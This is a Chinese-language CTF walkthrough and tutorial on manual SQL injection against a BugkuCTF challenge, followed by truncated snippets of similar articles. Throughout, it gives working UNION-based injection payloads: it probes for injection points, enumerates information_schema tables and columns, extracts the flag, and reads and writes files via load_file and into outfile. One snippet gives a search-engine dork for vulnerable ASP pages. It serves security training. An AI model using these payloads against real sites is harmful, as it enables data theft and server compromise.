以bugkuctf平台的一道題為例:鏈結0)首先測試正常資料。
鏈結的結尾新增【?id=1(數字任意)
】
1) 判斷是否存在注入點;
【?id=32(數字任意)】
鏈結的結尾依次新增語句【『】、【and 1=1】和【and 1=2】
,來判斷**是否存在注入點。嘗試在正常資料後加上單引號,發現資料為空,加上注釋符(注釋符:#,–+ , //, – )後發現依舊可以正常輸出,存在注入點。看是否報錯,如果資料庫報錯,說明後台資料庫處理了我們輸入的資料,那麼有可能存在注入點。
2) 判斷字段長度;
在鏈結後面新增語句【 order by 11 (數字任意)】
,根據頁面返回結果,來判斷站點中的字段數目。該題中已經有四處回顯(名字和3科分數),所以就猜4和5,得知查詢結果中有四列
3)判斷欄位回顯位置;
在鏈結後面新增語句【 union select 1,2,3,4,5,6,7,8,9,10,11#】
進行聯合查詢(聯合查詢時記得把前面的查詢為空)來暴露可查詢的字段號。
該題四處都有回顯
3) 判斷資料庫資訊;
利用內建函式暴資料庫資訊
version()版本;database()資料庫;user()使用者;
不用猜解可用欄位暴資料庫資訊(有些**不適用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
作業系統資訊:and 1=2 union all select @@global.version_compile_os from mysql.user
資料庫許可權:
and ord(mid(user(),1,1))=114 返回正常說明為root
4) 查詢資料庫名;
mysql 5 以上有內建庫 information_schema,儲存著mysql的所有資料庫和表結構資訊union select information_schema from information_schema.schemata
(語句在顯示位)
該題看一下資料庫資訊,庫名為skctf_flag
5) 查詢資料庫表名;
該題語句為【-1』 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#】得知表名為fl4g
6) 查詢列名
7)知道表名知道列名,獲取資料
-1' union select
1,(select skctf_flag from fl4g),3,4#
得出flag
8) 查詢資料庫表中所有字段以及字段值;
and 1=2 union select 1,2,3,table_name,5,6,7,8,9,10 from information_schema.tables where table_schema=
資料庫(十六進製制) limit 0(開始的記錄,0為第乙個開始記錄),1(顯示1條記錄)—
and 1=2 union select 1,2,3,column_name,5,6,7,8,9,10 from information_schema.columns where
table_name=表名(十六進製制)limit 0,1
9) 猜解賬號密碼;
10) 登陸管理員後台。
讀檔案: union select 絕對路徑 load_file
寫入檔案:union select
sql注入 手工注入
表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...
網路安全系列之四 手工SQL注入 ASP
1 尋找注入點 隨便開啟乙個網頁,注意觀察url。注入點必定是類似 這類存在命令呼叫的頁面,shownews.asp?id 7 是頁面傳值,就是將 id 7 傳到 shownews.asp 頁面裡進行處理。我們可以在這個url後面加上and 1 1和and 1 2進行測試。and 1 1 網頁仍能正...
SQL手工注入
site xx.cn inurl asp?id 找文章 xx.cn pth onews.asp?id 243 試注入 xx.cn pth onews.asp?id 243 order by 10 xx.cn pth onews.asp?id 243 order by 20 order by 語句用於...